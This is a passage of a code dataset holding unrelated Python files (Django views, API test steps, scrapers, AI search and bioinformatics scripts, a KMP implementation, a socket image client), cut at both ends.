text=HttpLib.get_response_text(response))\n return model\n\n\ndef get_draft_message(user_id, draft_message_id):\n response, model = UserDrafts().get_draft(user_id=user_id, draft_message_id=draft_message_id)\n log_info(\"Get draft message = {message} from user = {user} and draft_message_id = {message_id}\".\n format(user=user_id, message_id=draft_message_id, message=model))\n\n assert HttpLib.get_response_status_code(response) == status_code_200,\\\n \"Get draft message error: status code = {actual}, expected status code = {expected}. Response text: {text}\".\\\n format(actual=HttpLib.get_response_status_code(response),\n expected=status_code_200,\n text=HttpLib.get_response_text(response))\n return model\n\n\ndef list_draft_messages(user_id):\n response, model_array = UserDrafts().list_draft(user_id=user_id)\n log_info(\"List draft messages = {model} for user_id = {user}.\".\n format(user=user_id, model='\\n'.join(model.__str__() for model in model_array)))\n\n assert HttpLib.get_response_status_code(response) == status_code_200, \\\n \"List draft messages error: status code = {actual}, expected status code = {expected}. Response text: {text}\".\\\n format(actual=HttpLib.get_response_status_code(response),\n expected=status_code_200,\n text=HttpLib.get_response_text(response))\n return model_array\n\n\ndef update_draft_message(user_id, draft_message_id):\n update_model = BodyMessageModel().create_random_model()\n log_info(\"Create random model = {model}\".format(model=update_model))\n\n update_raw = string_to_base64(create_mime_from_dict(update_model.get_dict_model_with_initialize_value()))\n log_info(\"Generate raw string from model. Raw = {raw}\".format(raw=update_raw))\n\n response, model = UserDrafts().update_draft(user_id=user_id, draft_message_id=draft_message_id, raw_txt=update_raw)\n log_info(\"Update draft message = {message} from user = {user} and draft_message_id = {message_id}\".\n format(user=user_id, message_id=draft_message_id, message=model))\n\n assert HttpLib.get_response_status_code(response) == status_code_200, \\\n \"Update draft message error: status code = {actual}, expected status code = {expected}. Response text: {text}\".\\\n format(actual=HttpLib.get_response_status_code(response),\n expected=status_code_200,\n text=HttpLib.get_response_text(response))\n return model\n\n\ndef send_draft_message(user_id, draft_message_id):\n\n new_model = BodyMessageModel().create_random_model()\n log_info(\"Create random model = {model}\".format(model=new_model))\n\n message_raw = string_to_base64(create_mime_from_dict(new_model.get_dict_model_with_initialize_value()))\n log_info(\"Generate raw string from model. Raw = {raw}\".format(raw=message_raw))\n\n response, model = UserDrafts().send_draft_message(user_id=user_id,\n draft_message_id=draft_message_id,\n message_raw=message_raw)\n log_info(\"Send draft message = {message} from user = {user} and draft_message_id = {message_id}\".\n format(user=user_id, message_id=draft_message_id, message=model))\n\n assert HttpLib.get_response_status_code(response) == status_code_200, \\\n \"Update draft message error: status code = {actual}, expected status code = {expected}. Response text: {text}\".\\\n format(actual=HttpLib.get_response_status_code(response),\n expected=status_code_200,\n text=HttpLib.get_response_text(response))\n return model\n\n\ndef check_models_equals(expected_model, actual_model):\n log_info(\"Check that expected_model = {expected_model} is equal actual_model = {actual_model}.\".\n format(expected_model=expected_model, actual_model=actual_model))\n assert (expected_model == actual_model), \"Compare calendar models FAILED. \\\n Model {expected_model} is not equal {actual_model}\".format(expected_model=expected_model, actual_model=actual_model)\n","sub_path":"test_project/steps/UserDraftsSteps.py","file_name":"UserDraftsSteps.py","file_ext":"py","file_size_in_byte":5474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"189892995","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.contrib.auth import authenticate, login, logout\nfrom .models import Doctor,Opinion,Patient,Pytanie\nfrom .forms import UserForm, DoctorForm,PatientForm,OpinionForm,PytanieForm,TermForm\nfrom django.db import transaction\nfrom django.utils import timezone\n# Create your views here.\n\nIMAGE_FILE_TYPES = ['png', 'jpg', 'jpeg']\n\n\ndef doctor_list(request):\n list = Doctor.objects.all().order_by('name')\n return render(request, 'system/doctor_list.html', {'list': list})\n\n\ndef doctor_detail(request, pk):\n list = get_object_or_404(Doctor, pk=pk)\n return render(request, \"system/doctor_detail.html\", {'list': list})\n\ndef logout_user(request):\n logout(request)\n form = UserForm(request.POST or None)\n context = {\n \"form\": form,\n }\n return render(request, 'system/logout.html', context)\n\ndef opinion_detail(request,pk):\n opinions = get_object_or_404(Opinion, pk=pk)\n return render(request, 'system/opinion_detail.html', {'opinions': opinions})\n\ndef add_opinion(request):\n if request.method == \"POST\":\n form = OpinionForm(request.POST)\n if form.is_valid():\n post = form.save(commit=False)\n post.author = request.user.patient\n post.published_date = timezone.now()\n post.save()\n return redirect('system:opis_opinii', pk=post.pk)\n else:\n form = OpinionForm()\n return render(request, 'system/add_opinion.html', {'form': form})\n\ndef question_detail(request,pk):\n questions = get_object_or_404(Pytanie, pk=pk)\n return render(request, 'system/question_detail.html', {'questions': questions})\n\ndef add_question(request):\n if request.method == \"POST\":\n form = PytanieForm(request.POST or None)\n if form.is_valid():\n pytanie = form.save(commit=False)\n pytanie.author = request.user.patient\n pytanie.published_date = timezone.now()\n pytanie.save()\n return redirect('system:opis_pytania', pk=pytanie.pk)\n else:\n form = PytanieForm()\n return render(request, 'system/add_question.html', {'form': form})\n\ndef opinion_list(request):\n opinions = Opinion.objects.filter(published_date__lte=timezone.now()).order_by('published_date')\n return render(request,\"system/homepage.html\",{'opinions':opinions})\n\ndef question_list(request):\n questions = Pytanie.objects.filter(published_date__lte=timezone.now()).order_by('published_date')\n return render(request,\"system/homepage.html\",{'questions':questions})\n\ndef patient_info(request):\n return render(request,\"system/patient.html\")\n\ndef login_user(request):\n if request.method == \"POST\":\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n return render(request, 'system/homepage.html',)\n else:\n return render(request, 'system/login.html', {'error_message': 'Konto zablokowane'})\n else:\n return render(request, 'system/login.html', {'error_message': 'Konto nie istnieje'})\n\n return render(request, 'system/login.html')\n\n@transaction.atomic\ndef register_doctor(request):\n registered = False\n if request.method == 'POST':\n user_form = UserForm(request.POST or None)\n doctor_form = DoctorForm(request.POST or None)\n if user_form.is_valid() and doctor_form.is_valid():\n user = user_form.save(commit=False)\n user.set_password(user.password)\n user.save()\n profile = doctor_form.save(commit=False)\n profile.user = user\n profile.save()\n login(request,user)\n return render(request,'system/homepage.html')\n else:\n return render(request, 'system/registration_form.html', {'error_message': 'Błedne logowanie'})\n else:\n user_form = UserForm()\n doctor_form = DoctorForm()\n return render(request,\n 'system/registration_form.html',\n {'user_form': user_form, 'doctor_form': doctor_form, 'registered': registered} )\n\n@transaction.atomic\ndef register_patient(request):\n if request.method == 'POST':\n user_form = UserForm(request.POST or None)\n patient_form = PatientForm(request.POST or None)\n\n if user_form.is_valid() and patient_form.is_valid():\n user = user_form.save(commit=False)\n user.set_password(user.password)\n user.save()\n profile = patient_form.save(commit=False)\n profile.user = user\n profile.save()\n login(request,user)\n return render(request,'system/homepage.html')\n else:\n return render(request, 'system/registration_patient.html', {'error_message': 'Niepoprawne dane'})\n else:\n user_form = UserForm()\n patient_form = PatientForm()\n\n return render(request,\n 'system/registration_patient.html',\n {'user_form': user_form, 'patient_form': patient_form} )\n\ndef add_term(request):\n if request.method == \"POST\":\n term_form = TermForm(request.POST or None)\n\n if term_form.is_valid():\n term_form.save(commit=False)\n else:\n return render(request,'system/add_term.html',{'error_message': 'Niepoprawny format danych'})\n else:\n term_form = TermForm()\n\n return render(request, 'system/add_term.html',{'term_form': term_form})\n\"\"\"\n@transaction.atomic\ndef add_calendar(request):\n if request.method == \"POST\":\n calendar_form = EventForm(request.POST or None)\n\n if calendar_form.is_valid():\n calendar_form.save(commit= False)\n else:\n return render(request,'system/calendar_doctor.html',{'error_message' : 'Niepoprawny format danych'})\n\n else:\n calendar_form = EventForm()\n\n return render(request, 'system/calendar_doctor.html',{'calendar_form':calendar_form})\n\"\"\"","sub_path":"system/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"613285962","text":"import numpy as np\nimport csv\nimport metrics_function\n\nmethods_name = ['188-bit', 'AAC', 'ASDC', 'CKSAAP', 'CTD', 'DPC']\nfor it in range(5,6):\n name = methods_name[it]\n print(name + ':')\n f1 = np.loadtxt('D:/study/Bioinformatics/AMP/' + name + '/test_' + name + '.csv', delimiter = ',', skiprows = 1)\n m = np.shape(f1)[0]\n n = np.shape(f1)[1]\n X_test = np.zeros((m, n-1))\n for index in range(m):\n X_test[index] = f1[index][1:]\n\n f2 = np.loadtxt('D:/study/Bioinformatics/AMP/' + name + '/train_' + name + '.csv', delimiter = ',', skiprows = 1)\n p = np.shape(f2)[0]\n q = np.shape(f2)[1]\n X_train = np.zeros((p, q-1))\n for index in range(p):\n X_train[index] = f2[index][1:]\n\n K1 = np.zeros((m, p))\n for i in range(m):\n for j in range(p):\n K1[i][j] = round(metrics_function.cosine(X_test[i], X_train[j]), 6)\n print(K1)\n with open('D:/study/Bioinformatics/AMP/kernel_matrix/KM_test_cosine/KM_cosine_' + name + '_test.csv', 'w', newline='') as csvfile:\n writer = csv.writer(csvfile)\n for row in K1:\n writer.writerow(row)\n csvfile.close()\n\n K3 = np.zeros((m, p))\n for i in range(m):\n for j in range(p):\n K3[i][j] = round(metrics_function.tanimoto(X_test[i], X_train[j]), 6)\n print(K3)\n with open('D:/study/Bioinformatics/AMP/kernel_matrix/KM_test_tanimoto/KM_tanimoto_' + name + '_test.csv', 'w', newline='') as csvfile:\n writer = csv.writer(csvfile)\n for row in K3:\n writer.writerow(row)\n csvfile.close()","sub_path":"AMP/km_test_AMP.py","file_name":"km_test_AMP.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"432928150","text":"try:\n from newspaper import Article\nexcept:\n print(\"Requires newspaper3k http://github.com/codelucas/newspaper\")\n\n\ndef get_article_info(url):\n \"\"\" Takes a media article URL and returns the details scrapped using newspaper3k.\"\"\"\n\n article = Article(url, keep_article_html=True)\n article.download()\n article.parse()\n\n article_details = {\n \"title\": article.title,\n \"text\": article.text,\n \"url\": article.url,\n \"authors\": article.authors,\n \"html\": article.article_html,\n \"date\": article.publish_date,\n }\n for key in article.meta_data:\n article_details[key.replace(\".\", \"_\")] = article.meta_data[key]\n\n return article_details\n","sub_path":"pdtext/np.py","file_name":"np.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"495141017","text":"# This file is part of atooms\n# Copyright 2010-2018, Daniele Coslovich\n\n\"\"\" \"\"\"\n\nimport numpy\nimport math\n\nfrom .helpers import linear_grid\nfrom .correlation import Correlation\nfrom .helpers import adjust_skip\n\n__all__ = ['RadialDistributionFunction']\n\n\ndef gr_kernel(x, y, L):\n # r is an array of array distances\n r = x-y\n r = r - numpy.rint(r/L) * L\n return numpy.sqrt(numpy.sum(r**2, axis=1))\n\ndef gr_kernel_square(x, y, L):\n \"\"\"Return square distances.\"\"\"\n # r is an array of array distances\n r = x-y\n r = r - numpy.rint(r/L) * L\n return numpy.sum(r**2, axis=1)\n\ndef pairs_newton_hist(f, x, y, L, bins):\n \"\"\"Apply function f to all pairs in x[i] and y[j] and update the\n |hist| histogram using the |bins| bin edges.\n \"\"\"\n hist, bins = numpy.histogram([], bins)\n # Do the calculation in batches to optimize\n bl = max(1, int(100 * 1000.0 / len(y)))\n for ib in range(0, len(y)-1, bl):\n fxy = []\n # batch must never exceed len(y)-1\n for i in range(ib, min(ib+bl, len(y)-1)):\n for value in f(x[i+1:], y[i], L):\n fxy.append(value)\n hist_tmp, bins = numpy.histogram(fxy, bins)\n hist += hist_tmp\n return hist\n\ndef pairs_hist(f, x, y, L, bins):\n \"\"\"Apply function f to all pairs in x[i] and y[j] and update the\n |hist| histogram using the |bins| bin edges.\n \"\"\"\n hist, bins = numpy.histogram([], bins)\n for i in range(len(y)):\n fxy = f(x[:], y[i], L)\n hist_tmp, bins = numpy.histogram(fxy, bins)\n hist += hist_tmp\n return hist\n\n\nclass RadialDistributionFunction(Correlation):\n\n nbodies = 2\n\n def __init__(self, trajectory, grid=None, norigins=-1, dr=0.04):\n Correlation.__init__(self, trajectory, grid, 'r', 'gr',\n 'radial distribution function g(r)', 'pos')\n self.skip = adjust_skip(trajectory, norigins)\n self.side = self.trajectory.read(0).cell.side\n if grid is not None:\n # Reconstruct bounds of grid for numpy histogram\n self.grid = []\n for i in range(len(grid)):\n self.grid.append(grid[i] - (grid[1]-grid[0])/2)\n self.grid.append(grid[-1] + (grid[1]-grid[0])/2)\n else:\n self.grid = linear_grid(0.0, self.side[0]/2.0, dr)\n\n def _compute(self):\n ncfg = len(self.trajectory)\n if self.trajectory.grandcanonical:\n N_0 = numpy.average([len(x) for x in self._pos_0])\n N_1 = numpy.average([len(x) for x in self._pos_1])\n else:\n N_0, N_1 = len(self._pos_0[0]), len(self._pos_1[0])\n\n gr_all = []\n _, r = numpy.histogram([], bins=self.grid)\n for i in range(0, ncfg, self.skip):\n self.side = self.trajectory.read(i).cell.side\n if len(self._pos_0[i]) == 0 or len(self._pos_1[i]) == 0:\n continue\n if self._pos_0 is self._pos_1:\n gr = pairs_newton_hist(gr_kernel, self._pos_0[i], self._pos_1[i],\n self.side, r)\n else:\n gr = pairs_hist(gr_kernel, self._pos_0[i], self._pos_1[i],\n self.side, r)\n gr_all.append(gr)\n\n # Normalization\n vol = 4 * math.pi / 3.0 * (r[1:]**3-r[:-1]**3)\n rho = N_1 / self.side.prod()\n if self._pos_0 is self._pos_1:\n norm = rho * vol * N_0 * 0.5 # use Newton III\n else:\n norm = rho * vol * N_0\n gr = numpy.average(gr_all, axis=0)\n self.grid = (r[:-1]+r[1:]) / 2.0\n self.value = gr / norm\n","sub_path":"atooms/postprocessing/gr.py","file_name":"gr.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"184934471","text":"import sys\nimport socket\n\n# Create a TCP/IP socket\nsock_alpine_1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock_alpine_2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# Connect the socket to the port where the server is listening\nserver_address_alpine_1 = ('192.168.122.156', 10000)\nserver_address_alpine_2 = ('192.168.122.181', 10000)\nprint(f\"connecting to {server_address_alpine_1}\")\nprint(f\"connecting to {server_address_alpine_2}\")\nsock_alpine_1.connect(server_address_alpine_1)\nsock_alpine_2.connect(server_address_alpine_2)\n\n\ntry:\n # Send data image\n message = open(\"img.jpg\", 'rb')\n message_read = message.read()\n print(f\"sending {message}\")\n sock_alpine_1.sendall(message_read)\n sock_alpine_2.sendall(message_read)\n\n # Look for the response alpine 1\n amount_received_alpine_1 = 0\n amount_expected_alpine_1 = len(message_read)\n file_alpine_1 = bytearray()\n while amount_received_alpine_1 < amount_expected_alpine_1:\n data_alpine_1 = sock_alpine_1.recv(16)\n amount_received_alpine_1 += len(data_alpine_1)\n file_alpine_1 += data_alpine_1\n print(\"dari alpine 1: \", f\"{data_alpine_1}\")\n \n # write file respon dari alpine 1\n write_alpine_1 = open(\"alpine1_img.jpg\", 'wb')\n write_alpine_1.write(file_alpine_1)\n write_alpine_1.close()\n\n # Look for the response alpine 2\n amount_received_alpine_2 = 0\n amount_expected_alpine_2 = len(message_read)\n file_alpine_2 = bytearray()\n while amount_received_alpine_2 < amount_expected_alpine_2:\n data_alpine_2 = sock_alpine_2.recv(16)\n amount_received_alpine_2 += len(data_alpine_2)\n file_alpine_2 += data_alpine_2\n print(\"dari alpine 2: \", f\"{data_alpine_2}\")\n\n # write file respon dari alpine 2\n write_alpine_2 = open(\"alpine2_img.jpg\", 'wb')\n write_alpine_2.write(file_alpine_2)\n write_alpine_2.close()\nfinally:\n print(\"closing\")\n sock_alpine_1.close()\n sock_alpine_2.close()","sub_path":"progjar1/jawab/client_image.py","file_name":"client_image.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"424762172","text":"import warnings\n\nfrom unittest import TestCase\n\nfrom aioa2squery.decorators import deprecated\n\n\nclass TestFunctionDecorators(TestCase):\n def test_warn_decorator(self):\n @deprecated(message=\"Please don't use this!\")\n def func():\n return True\n\n with warnings.catch_warnings(record=True) as warning:\n warnings.simplefilter(\"always\")\n self.assertTrue(func())\n assert len(warning) == 1\n assert issubclass(warning[-1].category, DeprecationWarning)\n assert str(warning[-1].message) == \"Please don't use this!\"\n","sub_path":"tests/test_decorators.py","file_name":"test_decorators.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"54189532","text":"import argparse\nfrom timeit import default_timer as timer\nfrom aimacode.search import InstrumentedProblem\nfrom aimacode.search import (breadth_first_search, astar_search,\n breadth_first_tree_search, depth_first_graph_search, uniform_cost_search,\n greedy_best_first_graph_search, depth_limited_search,\n recursive_best_first_search)\nfrom my_air_cargo_problems import air_cargo_p1, air_cargo_p2, air_cargo_p3\n\nPROBLEM_CHOICE_MSG = \"\"\"\nSelect from the following list of air cargo problems. You may choose more than\none by entering multiple selections separated by spaces.\n\"\"\"\n\nSEARCH_METHOD_CHOICE_MSG = \"\"\"\nSelect from the following list of search functions. You may choose more than\none by entering multiple selections separated by spaces.\n\"\"\"\n\nINVALID_ARG_MSG = \"\"\"\nYou must either use the -m flag to run in manual mode, or use both the -p and\n-s flags to specify a list of problems and search algorithms to run. Valid\nchoices for each include:\n\"\"\"\n\nPROBLEMS = [[\"ACP 1\", air_cargo_p1],\n [\"ACP 2\", air_cargo_p2],\n [\"ACP 3\", air_cargo_p3]]\nSEARCHES = [[\"breadth_first_search\", breadth_first_search, \"\"],\n ['breadth_first_tree_search', breadth_first_tree_search, \"\"],\n ['depth_first_graph_search', depth_first_graph_search, \"\"],\n ['depth_limited_search', depth_limited_search, \"\"],\n ['uniform_cost_search', uniform_cost_search, \"\"],\n ['recursive_best_first_search', recursive_best_first_search, 'h_1'],\n ['greedy_best_first_graph_search', greedy_best_first_graph_search, 'h_1'],\n ['astar_search', astar_search, 'h_1'],\n ['astar_search', astar_search, 'h_ignore_preconditions'],\n ['astar_search', astar_search, 'h_pg_levelsum'],\n# ['astar_search', astar_search, 'h_ignore_preconditions2'],\n ]\n\n\nclass PrintableProblem(InstrumentedProblem):\n \"\"\" InstrumentedProblem keeps track of stats during search, and this\n class modifies the print output of those statistics for air cargo\n problems.\n \"\"\"\n\n def __repr__(self):\n return '{:^10d} {:^10d} {:^10d}'.format(self.succs, self.goal_tests, self.states)\n\n\ndef run_search(problem, search_function, parameter=None):\n\n start = timer()\n ip = PrintableProblem(problem)\n if parameter is not None:\n node = search_function(ip, parameter)\n else:\n node = search_function(ip)\n elapsed_time = timer() - start\n print(\"\\nExpansions Goal Tests New Nodes\")\n print(\"{}\\n\".format(ip))\n show_solution(node, elapsed_time, problem)\n print()\n return ip, elapsed_time, node\n\ndef manual():\n\n print(PROBLEM_CHOICE_MSG)\n for idx, (name, _) in enumerate(PROBLEMS):\n print(\" {!s}. {}\".format(idx+1, name))\n p_choices = input(\"> \").split()\n\n print(SEARCH_METHOD_CHOICE_MSG)\n for idx, (name, _, heuristic) in enumerate(SEARCHES):\n print(\" {!s}. {} {}\".format(idx+1, name, heuristic))\n s_choices = input(\"> \").split()\n\n main(p_choices, s_choices)\n\n print(\"\\nYou can run this selection again automatically from the command \" +\n \"line\\nwith the following command:\")\n print(\"\\n python {} -p {} -s {}\\n\".format(__file__,\n \" \".join(p_choices),\n \" \".join(s_choices)))\n\n\ndef main(p_choices, s_choices):\n\n problems = [PROBLEMS[i-1] for i in map(int, p_choices)]\n searches = [SEARCHES[i-1] for i in map(int, s_choices)]\n\n results = []\n\n for pname, p in problems:\n\n for sname, s, h in searches:\n hstring = h if not h else \" with {}\".format(h)\n print(\"\\nSolving {} using {}{}...\".format(pname, sname, hstring))\n\n _p = p()\n _h = None if not h else getattr(_p, h)\n pp, elapsed_time, node = run_search(_p, s, _h)\n results.append([pname, sname+\" \"+h, elapsed_time, \n len(node.solution()), pp.succs, \n pp.goal_tests, pp.states])\n\n\n import pandas as pd\n res = pd.DataFrame(results, columns=['Problem', 'Search', 'Elapsed Time', \n 'Solution size', 'Node Expansions',\n 'Goal Tests', 'New Nodes'])\n \n fileName = \"results_p(\"+str(p_choices)+\")s(\"+str(s_choices)+\")\"\n\n print(res.to_csv(sep='|', index=False, float_format='%.2f')) \n writer = pd.ExcelWriter(fileName+'.xlsx')\n res.to_excel(writer, 'Results')\n writer.save()\n #print(res.to_html())\n\n visualize(res, fileName)\n\ndef visualize(result, fileName):\n from altair import Chart, Color, Y, Scale\n\n\n #chart = LayeredChart(result)\n #chart += Chart().mark_line().encode(x='Search:O', y='Elapsed Time:Q')\n \n\n chart = Chart(result).mark_point().encode(\n x='Search:O', color='Problem:O', y=Y('Elapsed Time:Q',\n scale=Scale(type='log')))\n #x='Search:O', color='Problem:O', y='Elapsed Time:Q')\n# with open('out.html', 'w') as f:\n# f.write(html) \n chart.savechart(fileName+\".l.svg\")\n\ndef show_solution(node, elapsed_time, problem):\n print(\"Plan length: {} Time elapsed in seconds: {}\".format(len(node.solution()), elapsed_time))\n for action in node.solution():\n print(\"{}{}\".format(action.name, action.args))\n\nif __name__==\"__main__\":\n parser = argparse.ArgumentParser(description=\"Solve air cargo planning problems \" + \n \"using a variety of state space search methods including uninformed, greedy, \" +\n \"and informed heuristic search.\")\n parser.add_argument('-m', '--manual', action=\"store_true\",\n help=\"Interactively select the problems and searches to run.\")\n parser.add_argument('-p', '--problems', nargs=\"+\", choices=range(1, len(PROBLEMS)+1), type=int, metavar='',\n help=\"Specify the indices of the problems to solve as a list of space separated values. Choose from: {!s}\".format(list(range(1, len(PROBLEMS)+1))))\n parser.add_argument('-s', '--searches', nargs=\"+\", choices=range(1, len(SEARCHES)+1), type=int, metavar='',\n help=\"Specify the indices of the search algorithms to use as a list of space separated values. Choose from: {!s}\".format(list(range(1, len(SEARCHES)+1))))\n args = parser.parse_args()\n\n if args.manual:\n manual()\n elif args.problems and args.searches:\n main(list(sorted(set(args.problems))), list(sorted(set((args.searches)))))\n else:\n print()\n parser.print_help()\n print(INVALID_ARG_MSG)\n print(\"Problems\\n-----------------\")\n for idx, (name, _) in enumerate(PROBLEMS):\n print(\" {!s}. {}\".format(idx+1, name))\n print()\n print(\"Search Algorithms\\n-----------------\")\n for idx, (name, _, heuristic) in enumerate(SEARCHES):\n print(\" {!s}. {} {}\".format(idx+1, name, heuristic))\n print()\n print(\"Use manual mode for interactive selection:\\n\\n\\tpython run_search.py -m\\n\")\n","sub_path":"run_search.py","file_name":"run_search.py","file_ext":"py","file_size_in_byte":7031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"68183666","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\np=input(\"digiete p:\")\nq=input(\"digite q:\")\ncont=0\na = p\nwhile p>0:\n p=p//10\n cont=cont+1\np = a\nwhile q>0:\n ultimos=q%(10**cont)\n if ultimos==p:\n print (\"S\")\n break\n else:\n q=q//10\n","sub_path":"moodledata/vpl_data/35/usersdata/66/13187/submittedfiles/dec2bin.py","file_name":"dec2bin.py","file_ext":"py","file_size_in_byte":272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"523242728","text":"\"\"\"\nAuthor : Robin Singh\nImplementation Of KMP string Matching Algorithm\n\"\"\"\ndef KMP(pattern, string1):\n index = []\n m = 0\n n = 0\n prefix = prefix_generator(pattern,m+1,n)\n while m != len(string1):\n if string1[m] == pattern[n]:\n m+= 1\n n+= 1\n else:\n n = prefix[n - 1]\n if n == len(pattern):\n index.append(m - n)\n n = prefix[n - 1]\n elif n == 0:\n m+= 1\n return index\ndef prefix_generator(pattern,m,n):\n prefix = [0] * len(pattern)\n while m !=len(pattern):\n if pattern[m] == pattern[n]:\n n+= 1\n prefix[m] = n\n m+= 1\n elif n != 0:\n n = prefix[n - 1]\n else:\n prefix[m] = 0\n m+= 1\n return prefix\nif __name__ == '__main__':\n index = KMP(\"in\",\"robin singh\")\n for i in index:\n print(f\"Pattern Found At Index :{i}\")","sub_path":"Algorithms/String Matching Algorithm/KMP_Method.py","file_name":"KMP_Method.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"319598115","text":"def read(filename):\n\tdatabase = []\n\tf = open(filename, \"r\")\n\titem = {}\t\n\tfor line in f:\n\t\tline = line.strip()\t\t\n\t\tif line.startswith(\"-\"):\n\t\t\tif len(item) != 0:\n\t\t\t\tdatabase += [item]\t\t\t\t\n\t\t\t\t#print(item)\n\n\t\t\titem = {}\n\n\t\tif line.startswith(\":\"):\n\t\t\tbuf = line.split(\":\")\n\t\t\ttimebuf = buf[2].split(' ')\n\t\t\titem[buf[1]] = int(timebuf[0]) + int(timebuf[1])*0.000000001 \t\t\t\n\t\t\t#print(buf)\n\tdatabase += [item]\n\treturn database\t\t\n\ndef analyse(database):\n\tlastItem = None\n\n\tfor item in database:\n\t\t\n\t\t#if not lastItem is None:\n\t\t\t# print(item[\"after sleep\"] - lastItem[\"sleep activation\"])\n\t\t\t\n\t\tprint(item[\"dowork\"], item[\"after_job\"], item[\"after_job\"] - item[\"dowork\"], \"sleep till\", item[\"sleep_activation\"])\n\n\t\tlastItem = item\n\ndatabase = read(\"log.txt\")\nanalyse(database)","sub_path":"containers/BB_container/activations.py","file_name":"activations.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"555074653","text":"from pyspark.sql.types import *\n\n\nclass RecsysSchema:\n def __init__(self):\n self.string_cols1 = [\n 'text_tokens',\n 'hashtags', # Tweet Features\n 'tweet_id', #\n 'present_media', #\n 'present_links', #\n 'present_domains', #\n 'tweet_type', #\n 'language', #\n ]\n self.int_cols1 = [\n 'tweet_timestamp',\n ]\n self.string_cols2 = [\n 'engaged_with_user_id',\n ]\n self.int_cols2 = [\n 'engaged_with_user_follower_count', # Engaged With User Features\n 'engaged_with_user_following_count', #\n ]\n self.bool_cols1 = [\n 'engaged_with_user_is_verified', #\n ]\n self.int_cols3 = [\n 'engaged_with_user_account_creation',\n ]\n self.string_cols3 = [\n 'engaging_user_id',\n ]\n self.int_cols4 = [\n 'enaging_user_follower_count', # Engaging User Features\n 'enaging_user_following_count', #\n ]\n self.bool_cols2 = [\n 'enaging_user_is_verified',\n ]\n self.int_cols5 = [\n 'enaging_user_account_creation',\n ]\n self.bool_cols3 = [\n 'engagee_follows_engager', # Engagement Features\n\n ]\n self.float_cols = [\n 'reply_timestamp', # Target Reply\n 'retweet_timestamp', # Target Retweet\n 'retweet_with_comment_timestamp', # Target Retweet with comment\n 'like_timestamp', # Target Like\n ]\n\n # After some conversion\n self.int_cols6 = [\n 'tweet_timestamp',\n 'engaged_with_user_follower_count', # Engaged With User Features\n 'engaged_with_user_following_count', #\n 'engaged_with_user_account_creation',\n 'enaging_user_follower_count', # Engaging User Features\n 'enaging_user_following_count', #\n 'enaging_user_account_creation',\n ]\n\n def toStructType(self):\n str_fields1 = [StructField('%s' % i, StringType())\n for i in self.string_cols1]\n int_fields1 = [StructField('%s' % i, IntegerType())\n for i in self.int_cols1]\n str_fields2 = [StructField('%s' % i, StringType())\n for i in self.string_cols2]\n int_fields2 = [StructField('%s' % i, IntegerType())\n for i in self.int_cols2]\n bool_fields1 = [StructField('%s' % i, BooleanType())\n for i in self.bool_cols1]\n int_fields3 = [StructField('%s' % i, IntegerType())\n for i in self.int_cols3]\n str_fields3 = [StructField('%s' % i, StringType())\n for i in self.string_cols3]\n int_fields4 = [StructField('%s' % i, IntegerType())\n for i in self.int_cols4]\n bool_fields2 = [StructField('%s' % i, BooleanType())\n for i in self.bool_cols2]\n int_fields5 = [StructField('%s' % i, IntegerType())\n for i in self.int_cols5]\n bool_fields3 = [StructField('%s' % i, BooleanType())\n for i in self.bool_cols3]\n float_fields = [StructField('%s' % i, FloatType())\n for i in self.float_cols]\n return StructType(\n str_fields1\n + int_fields1\n + str_fields2\n + int_fields2\n + bool_fields1\n + int_fields3\n + str_fields3\n + int_fields4\n + bool_fields2\n + int_fields5\n + bool_fields3\n + float_fields\n )\n","sub_path":"examples/notebooks/recsys2021/RecsysSchema.py","file_name":"RecsysSchema.py","file_ext":"py","file_size_in_byte":3794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"308240249","text":"import requests\nimport collections\n\n\nJobOffer = collections.namedtuple(\n \"JobOffer\", (\"position\", \"company\", \"url\", \"salary\", \"source\"),\n)\n\n\nclass BaseScraper:\n \"\"\"Basic abstraction for services to handle serializing data from service\n and wrap them around data class.\n \"\"\"\n\n url = None\n data_class = None\n\n def get_offers(self):\n \"\"\"Get a container of API data from self.url.\"\"\"\n raise NotImplementedError\n\n def parse_offer(self, offer):\n \"\"\"Parse single API data structure into self.data_class.\"\"\"\n raise NotImplementedError\n\n\nclass NoFluffJobsScraper(BaseScraper):\n url = \"https://nofluffjobs.com/api/search/posting\"\n data_class = JobOffer\n\n def get_offers(self):\n return requests.get(self.url).json()[\"postings\"]\n\n def parse_offer(self, offer):\n data = {\n \"position\": offer.get(\"title\"),\n \"company\": offer.get(\"name\"),\n \"url\": \"{}{}\".format(\"https://nofluffjobs.com/job/\", offer.get(\"url\")),\n \"source\": \"nofluffjobs\",\n \"salary\": \"-\",\n }\n return self.data_class(**data)\n\n\nclass JustJoinItScraper(BaseScraper):\n url = \"https://justjoin.it/api/offers\"\n data_class = JobOffer\n\n 